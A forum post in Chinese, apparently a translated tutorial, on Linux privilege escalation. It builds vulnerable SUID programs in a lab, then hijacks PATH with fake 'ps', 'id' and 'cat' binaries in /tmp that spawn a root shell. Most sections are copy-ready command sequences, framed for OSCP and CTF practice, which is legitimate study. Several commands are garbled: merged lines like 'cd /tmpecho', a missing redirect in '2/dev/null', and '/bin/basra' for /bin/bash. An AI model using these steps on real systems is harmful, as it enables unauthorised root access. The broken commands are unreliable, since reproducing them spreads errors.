taibeihacker
Moderator
0x00 前言
在解決了幾個OSCP挑戰之後,我們決定寫一篇關於用於Linux權限升級的各種方法的文章,這對我們的讀者在其滲透測試項目中有所幫助。在本文中,我們將學習“使用$path變量的各種方法”以獲得遠程主機的root訪問權限,以及CTF挑戰所使用的技術,以生成導致權限提升的$path漏洞。如果你已經解決了CTF後利用的挑戰,那麼通過閱讀本文,您將認識到導致權限提升的幾個漏洞。0x001 PATH变量介绍
PATH是Linux和Unix操作系統中的環境變量,它指定存儲所有可執行程序的所有bin和sbin目錄。當用戶在終端上運行任何命令時,它請求shell在path變量的幫助下搜索可執行文件,以響應用戶執行的命令。超級用戶通常還具有/sbin和/usr/sbin權限,以便輕鬆執行系統管理命令。借助echo命令查看相關用戶的路徑非常簡單。
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你注意到'.'符號,那麼在環境PATH變量中,它意味著已登錄的用戶可以從當前目錄執行二進製文件和腳本,這對於攻擊者提升root權限是一種很好的技術。這是由於在編寫程序時缺乏注意,因此管理員沒有指定程序的完整路徑。
0x03 PATH变量提权方法一
1.Ubuntu实验设置
目前,在/home/raj目錄中,我們將在其中創建一個以名稱作為腳本的新目錄。現在在腳本目錄中,我們將編寫一個小的C程序來調用系統二進製文件的函數。pwd
mkdir script
cd script
nano demo.c

正如您在demo.c文件中所看到的那樣,我們正在調用ps命令(進程狀態),它是系統二進製文件。

然後使用gcc編譯demo.c文件,並將suid權限提升到編譯文件
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell

2.权限提升
首先,您需要攻擊目標系統,然後進入到權限提升階段。假設您使用普通用戶通過ssh成功地登錄到受害者的主機。然後在沒有浪費時間的情況下,在Find命令的幫助下搜索具有SUID或4000權限的文件。find/-perm -u=s -type f 2/dev/null
因此,在上述命令的幫助下,攻擊者可以枚舉任何可執行文件,這裡我們還可以看到/home/raj/script/shell具有suid權限。

然後,我們進入/home/raj/script目錄中並看到一個可執行文件“shell”。所以我們運行這個文件,在這裡看起來這個文件正在嘗試運行ps,這是/bin中的一個真實文件,用於獲取進程狀態。
ls
./shell

(1) echo命令:第一种生成root权限的技术
cd /tmpecho '/bin/bash' ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

(2)复制命令-第二种生成root权限的技术
cd /home/raj/script/cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami

(3)symlink命令-第三种生成root权限的技术
ln -s /bin/sh psexport PATH=.$PATH
./shell
id
whoami
注意:symlink也稱為符號鏈接,如果目錄具有執行權限,它將成功運行。在Ubuntu中有symlink的情況下,我們已將/script目錄賦予777權限
因此,我們看到攻擊者可以使用環境變量PATH來提升權限並獲得root訪問權限。

0x04 PATH变量提权方法二
1.Ubuntu实验设置
重複上面相同的步驟來配置你自己的實驗,現在在腳本目錄中,我們將編寫一個小的c程序來調用系統二進製文件的函數。pwd
mkdir script
cd /script
nano test.c
正如您在我們的test.c文件中看到的那樣,我們正在調用id命令,即係統二進製文件。

然後使用gcc編譯test.c文件,並將suid權限提升到編譯後的文件
ls
gcc test.c -o shell2
chmod u+s shell2
ls -la shell2

2.权限提升
同樣,您需要攻擊目標系統,然後進入到特權提升階段。假設您使用普通用戶通過ssh成功地登錄到受害者的主機。然後在沒有浪費時間的情況下,在Find命令的幫助下搜索具有SUID或4000權限的文件。在這裡,我們還可以看到/home/raj/script/shell2是否具有suid權限。find/-perm -u=s -type f 2/dev/null
然後我們進入/home/raj/script目錄,並看到一個可執行文件“shell2”。所以我們運行這個文件,看起來shell2正在嘗試運行id,這是/bin中的一個真實文件。
cd /home/raj/script/
ls
./shell2

(1) Echo命令
cd /tmpecho '/bin/bash' id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami

0x05 PATH变量提权方法三
1.Ubuntu实验设置
重複以上步驟來設置自己的實驗,正如您在raj.c文件中看到的那樣,我們調用cat命令從etc/passwd文件內讀取其內容。
然後使用gcc編譯raj.c文件,並將suid權限提升到編譯後的文件。
ls
gcc raj.c -o raj
chmod u+s raj
ls -la raj

2.权限提升
再次攻擊受害者的系統,然後進入權限升級階段,執行以下命令查看sudo用戶列表。find/-perm -u=s -type f 2/dev/null
在這裡我們還可以看到/home/raj/script/raj擁有suid權限,然後我們進入/home/raj/script目錄,並看到一個可執行文件“raj”。因此,當我們運行這個文件時,它將會查看到etc/passwd文件的內容。
cd /home/raj/script/
ls
./raj

(1) Nano Editor:第四种权限提升技术
cd /tmpnano cat
現在,當終端打開並輸入/bin/basra,然後進行保存

chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami

0x06 PATH变量提权方法四
1.Ubuntu实验设置
重複上面的步驟來設置你自己的實驗,正如您在demo.c文件中看到的那樣,我們調用cat命令來讀取msg.txt內容,該文件在/home/raj中,但實際在/home/raj中沒有這樣的文件。
然後使用gcc編譯demo.c文件,並將SUID權限提升到編譯後的文件
ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite

2.权限提升
再次攻擊受害者的系統,然後進入到權限升級階段,執行以下命令查看sudo用戶列表。find/-perm -u=s -type f 2/dev/null
在這裡,我們還可以看到/home/raj/script/ignite擁有suid權限,然後我們進入/home/raj/script目錄,並看到一個可執行文件“ignite”。所以當我們運行這個文件時,它會輸出錯誤“cat:/home/raj/msg.txt”作為結果。
cd /home/raj/script/
ls
./ignite

(1) vi编辑器-第五种权限提升技术
cd /tmpvi cat
現在,當終端打開並輸入/bin/basra,然後進行保存

chmod 777 cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami
